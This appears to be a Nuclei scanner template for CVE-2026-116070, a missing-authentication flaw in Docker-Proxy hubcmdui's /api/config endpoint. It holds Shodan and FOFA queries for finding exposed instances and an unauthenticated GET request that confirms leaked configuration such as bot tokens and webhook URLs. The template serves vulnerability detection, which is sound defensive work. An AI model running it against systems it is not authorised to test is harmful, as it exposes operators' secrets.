CVE-2026-116070: Docker-Proxy hubcmdui - Missing Authentication on /api/config

id: CVE-2026-116070

info:
  name: Docker-Proxy hubcmdui - Missing Authentication on /api/config
  author: kosoyyagent
  severity: medium
  description: |
    Docker-Proxy through 5.1.9 exposes the hubcmdui configuration endpoint /api/config without authentication. An unauthenticated remote attacker can read the full server configuration, including the WeChat/Telegram monitoring webhook URLs and bot token inside monitoringConfig, the menuItems structure and docker host settings, and can overwrite configuration via the unauthenticated POST handler. The fix restricts anonymous callers to a public subset (theme, language, logo, proxyDomain).
  impact: |
    An unauthenticated attacker can read sensitive server configuration, including monitoring webhook URLs and bot tokens, and overwrite configuration, enabling secret disclosure and tampering with proxy and menu settings.
  remediation: |
    Upgrade Docker-Proxy to a release after 5.1.9 that restricts anonymous /api/config access to a public subset (theme, language, logo, proxyDomain).
  reference:
    - https://github.com/dqzboy/Docker-Proxy/security/advisories/GHSA-xxpq-v3jg-w39m
    - https://github.com/dqzboy/Docker-Proxy/commit/a173befc5d163b1206b40298871153026fee9474
    - https://github.com/dqzboy/Docker-Proxy/issues/109
    - https://www.vulncheck.com/advisories/docker-proxy-through-5.1.9-missing-authentication-via-hubcmdui-api-config
    - https://nvd.nist.gov/vuln/detail/CVE-2026-116070
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-116070
    epss-score: 0.00544
    epss-percentile: 0.45939
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: dqzboy
    product: docker-proxy
    shodan-query: http.html:"hubcmdui"
    fofa-query: body="hubcmdui"
  tags: cve,cve2026,docker-proxy,hubcmdui,unauth,exposure

http:
  - raw:
      - |
        GET /api/config HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"monitoringConfig"'
          - '"menuItems"'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 490a0046304402202a4c396160d69e8db2f102fbc9cab7b2f3f4a3df3d790e3cf9738d2d80bc82ed02204dee2861ea60312e73fb86abe8e1718627b3a0e83e372190da789f03a821c709:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.